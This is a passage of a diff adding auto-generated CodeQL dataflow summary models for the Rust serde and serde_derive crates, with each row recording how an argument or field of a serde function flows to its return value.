"ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeStruct(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_struct", "Argument[self].Field[crate::__private::ser::FlatMapSerializer(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeStruct(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_struct_variant", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeStructVariantAsMapValue::name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_struct_variant", "Argument[self].Field[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeStructVariantAsMapValue::map]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_struct_variant", "Argument[self].Field[crate::__private::ser::FlatMapSerializer(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeStructVariantAsMapValue::map]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_tuple_variant", "Argument[self].Field[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeTupleVariantAsMapValue::map]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_tuple_variant", "Argument[self].Field[crate::__private::ser::FlatMapSerializer(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeTupleVariantAsMapValue::map]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_struct_variant", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::SerializeStructVariantAsMapValue::name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_tuple_variant", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::SerializeTupleVariantAsMapValue::name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_bool", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::Bool(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_char", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::Char(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_f32", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::F32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_f64", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::F64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_i16", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::I16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_i32", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::I32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_i64", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::I64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_i8", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::I8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_newtype_struct", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::NewtypeStruct(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_newtype_variant", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::NewtypeVariant(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_newtype_variant", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::NewtypeVariant(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_newtype_variant", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::NewtypeVariant(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_u16", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::U16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_u32", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::U32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_u64", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::U64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_u8", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::U8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_unit_struct", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::UnitStruct(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_unit_variant", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::UnitVariant(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_unit_variant", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::UnitVariant(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_unit_variant", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::UnitVariant(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self].Field[crate::__private::ser::content::SerializeMap::entries]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::Map(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self].Field[crate::__private::ser::content::SerializeSeq::elements]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::Seq(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self].Field[crate::__private::ser::content::SerializeStruct::fields]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::Struct(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self].Field[crate::__private::ser::content::SerializeStruct::name]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::Struct(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::__private::ser::content::SerializeStructVariantAsMapValue::map]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[1]", "ReturnValue.Field[crate::__private::ser::content::SerializeStructVariantAsMapValue::name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self].Field[crate::__private::ser::content::SerializeTuple::elements]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::Tuple(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self].Field[crate::__private::ser::content::SerializeTupleStruct::fields]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::TupleStruct(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self].Field[crate::__private::ser::content::SerializeTupleStruct::name]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::TupleStruct(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::__private::ser::content::SerializeTupleVariantAsMapValue::map]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[1]", "ReturnValue.Field[crate::__private::ser::content::SerializeTupleVariantAsMapValue::name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::CowStrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_bool", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_borrowed_bytes", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_borrowed_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_char", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_string", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_borrowed_str", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_string", "Argument[0]", "Argument[self].Field[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_string", "Argument[0]", "Argument[self].Field[crate::de::impls::StringInPlaceVisitor(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_string", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::BoolDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::BorrowedBytesDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::BorrowedStrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::BytesDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::CharDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Field[crate::de::value::CowStrDeserializer::value].Reference", "ReturnValue.Field[crate::de::value::CowStrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::CowStrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::EnumAccessDeserializer::access]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::description", "Argument[self].Field[crate::de::value::Error::err]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::F32Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::F64Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::I128Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::I16Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::I32Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::I64Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::I8Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::IsizeDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::MapAccessDeserializer::map]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::deserialize_any", "Argument[self].Field[crate::de::value::NeverDeserializer::never]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::SeqAccessDeserializer::seq]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::StrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Field[crate::de::value::StringDeserializer::value].Reference", "ReturnValue.Field[crate::de::value::StringDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::StringDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::U128Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::U16Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::U32Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::U64Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::U8Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::de::value::UsizeDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::format::Buf::bytes]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::StringDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::F32Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::F64Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::I128Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::I16Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::I32Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::I64Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::I8Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::IsizeDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U128Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U16Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U32Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U64Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U8Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::UsizeDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "crate::__private::ser::constrain", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "crate::de::size_hint::cautious", "Argument[0].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "crate::de::value::private::map_as_enum", "Argument[0]", "ReturnValue.Field[crate::de::value::private::MapAsEnum::map]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "crate::de::value::private::unit_only", "Argument[0]", "ReturnValue.Field[0]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde_derive.model.yml b/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde_derive.model.yml new file mode 100644 index 000000000000..f60417ee9fb4 --- /dev/null +++ b/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde_derive.model.yml @@ -0,0 +1,79 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::as_ref", "Argument[self].Field[crate::fragment::Fragment::Block(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::as_ref", "Argument[self].Field[crate::fragment::Fragment::Expr(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_ast", "Argument[1].Reference", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::internals::ast::Container::ident]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_ast", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::internals::ast::Container::ident]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_ast", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::internals::ast::Container::original]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::get", "Argument[self].Field[crate::internals::attr::Attr::value]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::custom_serde_path", "Argument[self].Field[crate::internals::attr::Container::serde_path].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::de_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::default", "Argument[self].Field[crate::internals::attr::Container::default]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::deny_unknown_fields", "Argument[self].Field[crate::internals::attr::Container::deny_unknown_fields]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::expecting", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::identifier", "Argument[self].Field[crate::internals::attr::Container::identifier]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::is_packed", "Argument[self].Field[crate::internals::attr::Container::is_packed]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::name", "Argument[self].Field[crate::internals::attr::Container::name]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::non_exhaustive", "Argument[self].Field[crate::internals::attr::Container::non_exhaustive]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::remote", "Argument[self].Field[crate::internals::attr::Container::remote].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::rename_all_fields_rules", "Argument[self].Field[crate::internals::attr::Container::rename_all_fields_rules]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::rename_all_rules", "Argument[self].Field[crate::internals::attr::Container::rename_all_rules]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::ser_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::tag", "Argument[self].Field[crate::internals::attr::Container::tag]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::transparent", "Argument[self].Field[crate::internals::attr::Container::transparent]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::type_from", "Argument[self].Field[crate::internals::attr::Container::type_from].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::type_into", "Argument[self].Field[crate::internals::attr::Container::type_into].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", 